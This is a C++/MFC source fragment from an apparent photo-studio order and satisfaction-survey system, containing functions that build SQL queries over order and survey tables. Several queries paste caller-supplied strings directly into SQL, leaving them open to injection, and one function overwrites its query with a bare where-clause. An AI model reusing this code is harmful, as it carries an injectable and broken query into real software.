ddFieldArr.Add(_T("waiter2"));ddFieldArr.Add(_T("score2")); ddFieldArr.Add(_T("waiter3"));ddFieldArr.Add(_T("score3")); ddFieldArr.Add(_T("waiter4"));ddFieldArr.Add(_T("score4")); ddFieldArr.Add(_T("waiter5"));ddFieldArr.Add(_T("score5")); ddFieldArr.Add(_T("waiter6"));ddFieldArr.Add(_T("score6")); ddFieldArr.Add(_T("waiter7"));ddFieldArr.Add(_T("score7")); ddFieldArr.Add(_T("waiter8"));ddFieldArr.Add(_T("score8")); SelectDataFromDB(arr, ddFieldArr, strSql); return 0; } /* 函数名: GetSatisfactionAndDingDanInfo 说明: 获取满意度对应订单信息 参数: const CString& strOrderID 订单ID 返回: 成功=0, 失败=-1 */ int CConnectSocket::GetSatisfactionAndDingDanInfo(CArray& arr, const CString& startCT, const CString& endCT) { CString strTableName = _T("dindan"); CString strtmpfilter = _T(""); if(startCT != _T("") && endCT != _T("")) strtmpfilter = _T("id between '") + startCT + _T("-000' and '") + endCT + _T("-999'"); LONG lCount = SelectCount(&strTableName, &strtmpfilter); if(lCount == 0) return -1; arr.SetSize(lCount, 1); /*time1 预约时间 */ /*time2 拍照日期(整个订单拍照完成日期) */ /*time3 婚期时间 */ /*time4 选片日期(整个订单选片完成日期) */ /*time5 取件日期(整个订单取件完成日期) */ /*time6 看样日期 */ /*time7 */ /*time8 初修日期 */ /*time9 精修时间 */ /*time10 设计时间 */ CString strSql = _T("select id as id,name1,name2,phone1,phone2,"); strSql += _T("time1,time2,time3,time4,time5,"); strSql += _T("time6,time7,time8,time9,time10,"); strSql += _T("waiter1,'' as score1,"); strSql += _T("waiter2,'' as score2,"); strSql += _T("waiter3,'' as score3,"); strSql += _T("waiter4,'' as score4,"); strSql += _T("waiter5,'' as score5,"); strSql += _T("waiter6,'' as score6,"); strSql += _T("waiter7,'' as score7,"); strSql += _T("waiter8,'' as score8 "); strSql += _T("from dindan"); if(startCT != _T("") && endCT != _T("")) strSql = _T(" where id between '") + startCT + _T("-000' and '") + endCT + _T("-999'"); CStringArray ddFieldArr; ddFieldArr.Add(_T("id")); ddFieldArr.Add(_T("name1"));ddFieldArr.Add(_T("name2")); ddFieldArr.Add(_T("phone1"));ddFieldArr.Add(_T("phone2")); ddFieldArr.Add(_T("time1"));ddFieldArr.Add(_T("time2")); //time1 idx=5 预约时间 time2 拍照日期 ddFieldArr.Add(_T("time3"));ddFieldArr.Add(_T("time4")); //time3 idx=7 婚期时间 time4 选片日期 ddFieldArr.Add(_T("time5"));ddFieldArr.Add(_T("time6")); //time5 idx=9 取件日期 time6 看样日期 ddFieldArr.Add(_T("time7"));ddFieldArr.Add(_T("time8")); //time7 idx=11 time8 初修日期 ddFieldArr.Add(_T("time9"));ddFieldArr.Add(_T("time10")); //time9 idx=13 精修时间 time10 设计时间 ddFieldArr.Add(_T("waiter1"));ddFieldArr.Add(_T("score1")); //waiter1 idx=15 摄影师1 score1 得分 ddFieldArr.Add(_T("waiter2"));ddFieldArr.Add(_T("score2")); //waiter2 idx=17 化妆师/引导师1 score2 得分 ddFieldArr.Add(_T("waiter3"));ddFieldArr.Add(_T("score3")); //waiter3 idx=19 选片师 score3 得分 ddFieldArr.Add(_T("waiter4"));ddFieldArr.Add(_T("score4")); //waiter4 idx=21 设计师 score4 得分 ddFieldArr.Add(_T("waiter5"));ddFieldArr.Add(_T("score5")); //waiter5 idx=23 初修师 score5 得分 ddFieldArr.Add(_T("waiter6"));ddFieldArr.Add(_T("score6")); //waiter6 idx=25 接单人 score6 得分 ddFieldArr.Add(_T("waiter7"));ddFieldArr.Add(_T("score7")); //waiter7 idx=27 精修师 score7 得分 ddFieldArr.Add(_T("waiter8"));ddFieldArr.Add(_T("score8")); //waiter8 idx=29 看设计人 score8 得分 SelectDataFromDB(arr, ddFieldArr, strSql); return 0; } /* 函数名: GetSatisfactionSvrKind 说明: 获取服务类别 参数: CArray& arr 返回表数据 返回: 成功=0, 失败=-1 */ int CConnectSocket::GetSatisfactionSvrKind(CArray& arr) { CString strTableName = _T("SatisfactionSvrKind"); CStringArray fieldArr; fieldArr.Add(_T("SvrKind")); fieldArr.Add(_T("KindName")); fieldArr.Add(_T("KindDesc")); int ret = SelectDataFromDB(arr, &strTableName, fieldArr); if(ret == -1) return -1; return 0; } /* 函数名: GetSatisfactionSurveyLog 说明: 获取调查记录 参数: const CString& strOrderID, 订单号 const CString& startCT, 起始时间 const CString& endCT 结束时间 返回: 成功=0, 失败=-1 */ int CConnectSocket::GetAllSatisfactionSurveyLog(CArray& arr, const CString& startCT, const CString& endCT) { CString strTableName = _T("SatisfactionSurvey as ss,SatisfactionCfg as cfg"); CString strtmpfilter = _T("ss.cfgID=cfg.cfgID"); if(startCT != _T("") && endCT != _T("")) strtmpfilter += _T(" and ss.OrderID between '") + startCT + _T("-000' and '") + endCT + _T("-999'"); LONG lCount = SelectCount(&strTableName, &strtmpfilter); if(lCount == 0) return -1; arr.SetSize(lCount, 1); CStringArray fieldArr; fieldArr.Add(_T("LogID")); //记录ID fieldArr.Add(_T("cfgID")); //服务配置ID fieldArr.Add(_T("KindName")); //服务类型 fieldArr.Add(_T("ObjID")); //对象ID fieldArr.Add(_T("ObjName")); //对象名 fieldArr.Add(_T("OrderID")); //订单ID fieldArr.Add(_T("Score")); //得分 fieldArr.Add(_T("MaxScore")); //最高得分 fieldArr.Add(_T("TypeID")); //显示得分类型 fieldArr.Add(_T("States")); //状态 fieldArr.Add(_T("SurveyTime")); //调查时间 fieldArr.Add(_T("SurveyCS")); //调查客服 fieldArr.Add(_T("sfncfgDesc")); //调查内容 CString strSql = _T("select ss.SurveyLogID as LogID,cfg.cfgID as cfgID,cfg.KindName as KindName,ss.ObjID as ObjID,ss.ObjName as ObjName,ss.OrderID as OrderID,ss.Score as Score,"); strSql += _T("cfg.MaxScore as MaxScore,cfg.TypeID as TypeID,ss.State as States,ss.SurveyTime as SurveyTime,ss.SurveyCS as SurveyCS,cfg.sfncfgDesc as sfncfgDesc "); strSql += _T("from SatisfactionSurvey as ss,SatisfactionCfg as cfg where ss.cfgID=cfg.cfgID"); if(startCT != _T("") && endCT != _T("")) strSql += _T(" and ss.OrderID between '") + startCT + _T("-000' and '") + endCT + _T("-999' order by ss.OrderID"); return SelectDataFromDB(arr, fieldArr, strSql); } /* 函数名: GetSatisfactionSurveyLog 说明: 获取调查记录 参数: const CString& strOrderID, 订单号 const CString& strKindName 服务类型 返回: 成功=0, 失败=-1 */ int CConnectSocket::GetAllSatisfactionSurveyLog(CArray& arr, const CString& strFilter) { CString strTableName = _T("SatisfactionSurvey as ss,SatisfactionCfg as cfg"); CString strtmpfilter = _T("ss.cfgID=cfg.cfgID"); if(strFilter != _T("")) strtmpfilter += _T(" and ss.OrderID='") + strFilter + _T("'"); LONG lCount = SelectCount(&strTableName, &strtmpfilter); if(lCount == 0) return -1; arr.SetSize(lCount, 1); CStringArray fieldArr; fieldArr.Add(_T("LogID")); //记录ID fieldArr.Add(_T("cfgID")); //服务配置ID fieldArr.Add(_T("KindName")); //服务类型 fieldArr.Add(_T("ObjID")); //对象ID fieldArr.Add(_T("ObjName")); //对象名 fieldArr.Add(_T("OrderID")); //订单ID fieldArr.Add(_T("Score")); //得分 fieldArr.Add(_T("MaxScore")); //最高得分 fieldArr.Add(_T("TypeID")); //显示得分类型 fieldArr.Add(_T("States")); //状态 fieldArr.Add(_T("SurveyTime")); //调查时间 fieldArr.Add(_T("SurveyCS")); //调查客服 fieldArr.Add(_T("sfncfgDesc")); //调查内容 CString strSql = _T("select ss.SurveyLogID as LogID,cfg.cfgID as cfgID,cfg.KindName as KindName,ss.ObjID as ObjID,ss.ObjName as ObjName,ss.OrderID as OrderID,ss.Score as Score,"); strSql += _T("cfg.MaxScore as MaxScore,cfg.TypeID as TypeID,ss.State as States,ss.SurveyTime as SurveyTime,ss.SurveyCS as SurveyCS,cfg.sfncfgDesc as sfncfgDesc "); strSql += _T("from SatisfactionSurvey as ss,SatisfactionCfg as cfg where ss.cfgID=cfg.cfgID"); if(strFilter != _T("")) strSql += _T(" and ss.OrderID='") + strFilter + _T("'"); return SelectDataFromDB(arr, fieldArr, strSql); } ///////////////////////////////////////////////////////////////////////////////50 //g_bMain GetIPFromDomain //salarycheck1 //dwToUserID==211 //dwToUserID==43 //washcount //select max(id) //ptChatMessage->bsql //在函数trans5中 ////select refresh balance setcheck23